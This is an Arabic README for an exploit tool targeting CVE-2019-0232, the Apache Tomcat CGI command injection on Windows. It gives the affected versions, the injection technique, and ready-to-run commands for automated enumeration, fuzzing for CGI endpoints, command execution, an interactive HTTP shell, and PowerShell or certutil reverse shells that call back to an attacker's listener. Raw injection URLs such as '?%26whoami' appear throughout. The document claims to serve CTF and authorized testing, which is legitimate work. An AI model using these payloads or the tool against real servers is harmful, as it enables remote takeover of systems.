
Apache Tomcat CGI Servlet RCE (Windows)
إثبات مفهوم تعليمي مخصص لمسابقات CTF واختبار الاختراق المصرح به فقط.
تشغيل هذه الأداة ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها غير قانوني.
CVE-2019-0232 هي ثغرة تنفيذ أوامر عن بعد في Apache Tomcat على نظام Windows. عندما يحتوي CGI Servlet على enableCmdLineArguments=true (الإعداد الافتراضي على Windows قبل التصحيح)، يقوم Tomcat بتمرير سلسلة استعلام HTTP مباشرة كوسائط سطر أوامر إلى ملف CGI الدفعي عبر Runtime.exec(). على Windows، يقوم Runtime.exec() بتغليف الاستدعاء مع cmd.exe /c، مما يجعل فاصل الأوامر & نشطًا داخل هذه الوسائط.
يمكن للمهاجم حقن أمر نظام تشغيل ثانٍ عن طريق تضمين & (مشفّر URL كـ %26) في URL:
GET /cgi-bin/cmd.bat?%26whoami HTTP/1.1
# Tomcat URL-decodes → cmd.exe /c cmd.bat &whoami
# cmd.exe sees the & and runs whoami after cmd.bat exits
| الفرع | النطاق المصاب | الإصدار المُصحّح |
|---|---|---|
| 9.0.x | 9.0.0.M1 – 9.0.17 | 9.0.18 |
| 8.5.x | 8.5.0 – 8.5.39 | 8.5.40 |
| 7.0.x | 7.0.0 – 7.0.93 | 7.0.94 |
الشرط: enableCmdLineArguments=true في conf/web.xml (الإعداد الافتراضي على Windows قبل التصحيح).
-w)--cmd)certutil (بديل)System32، Windows، Wbem، PowerShell بحيث تعمل whoami وipconfig وnetstat وpowershell.exe بدون مسارات كاملة2>&1 تلقائياً بحيث تكون مخرجات الأخطاء مرئيةgit clone https://github.com/blackjuker2/CVE-2019-0232.git
cd CVE-2019-0232
pip install -r requirements.txt
مطلوب Python 3.8+.
python3 cve_2019_0232.py -t <TARGET_URL> [options]
الوضع التلقائي — دع السكربت يجد كل شيء:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --auto
أمر واحد على نقطة نهاية معروفة:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --cmd whoami
حلقة شل تفاعلية:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --interactive
سلسلة تلقائية كاملة → شل عكسية (لا حاجة لـ nc منفصل):
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --auto --reverse-shell --lhost 10.10.14.x --lport 4444
يفتح السكربت مستمع TCP خاص به على --lport، ويطلق حمولة PowerShell، ويضعك في شل تفاعلية عندما يستدعي الهدف.
شل عكسية لـ PowerShell على مسار معروف:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --reverse-shell --lhost 10.10.14.x --lport 4444
مرسل certutil (إذا كان PowerShell محظوراً):
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --reverse-shell --lhost 10.10.14.x --lport 4444 --shell-method certutil
قائمة كلمات مخصصة للتخمين:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --fuzz -w /usr/share/dirb/wordlists/common.txt
يتم اختبار الإدخالات بدون امتداد ملف تلقائياً كـ .bat و .cmd.
التوجيه عبر Burp Suite:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --cmd whoami --proxy http://127.0.0.1:8080
عرض URL الحقن الخام قبل كل طلب:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --interactive --show-url
موضعي / مطلوب:
-t, --target URL URL الأساسي للهدف مثلاً http://10.10.10.x:8080
المسار:
-p, --path PATH مسار سكربت CGI معروف مثلاً /cgi/cmd.bat
الأوضاع:
--auto سلسلة كاملة: استكشاف → تخمين → تفاعلي
--enum استكشاف إصدار Tomcat ومسارات CGI فقط
--fuzz تخمين نقاط نهاية CGI القابلة للوصول
--cmd COMMAND تنفيذ أمر واحد وطباعة المخرجات
--interactive حلقة أوامر تفاعلية (شل HTTP)
--reverse-shell إرسال شل عكسية لـ PowerShell
الشل العكسية:
--lhost IP عنوان IP للمستمع الخاص بك (استخدم tun0 لـ HTB/OSCP)
--lport PORT منفذ المستمع الخاص بك (الافتراضي: 4444)
--shell-method {ps,certutil}
نوع الحمولة: ps (افتراضي) أو مرسل certutil
الخيارات:
-w, --wordlist FILE أسماء CGI إضافية لتخمينها (واحد لكل سطر)
--threads N خيوط التخمين (الافتراضي: 15)
--timeout N مهلة HTTP بالثواني (الافتراضي: 10)
--proxy URL وكيل HTTP مثلاً http://127.0.0.1:8080
--no-ssl-verify تعطيل التحقق من شهادة TLS
--show-url طباعة URL الحقن الكامل قبل كل طلب
يبني السكربت URL الحقن في ثلاث خطوات:
حقن PATH — يغلف أمرك في مجموعة تضبط PATH أولاً:
(SET PATH=C:\Windows\System32;C:\Windows;...&echo.&<your command> 2>&1)
يخرج echo. سطراً فارغاً، مما يرضي محلل رأس CGI لـ Tomcat بحيث يصبح نص الاستجابة مرئياً.
ترميز URL — تصبح المسافات +، وتصبح الأحرف الخاصة %XX عبر urllib.parse.quote.
نقطة الحقن — توضع المجموعة المشفرة بعد %26 (فاصل &):
/cgi/cmd.bat?%26(SET+PATH=...%26echo.%26whoami+2>%261)
هذه الأداة مقدمة لأغراض تعليمية واختبار أمني مصرح به فقط.
المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر ناتج عن هذه الأداة.
احصل دائمًا على إذن كتابي صريح قبل اختبار أي نظام.
--proxy http://127.0.0.1:8080| العلم | الوصف |
|---|
--auto | استكشاف → تخمين → دخول إلى شل تفاعلية |
--enum | استكشاف إصدار Tomcat ومسارات CGI فقط |
--fuzz | تخمين نقاط نهاية .bat/.cmd القابلة للوصول |
--cmd COMMAND | تنفيذ أمر واحد |
--interactive | حلقة شل HTTP تفاعلية |
--reverse-shell | إطلاق شل عكسية (يتطلب --lhost) |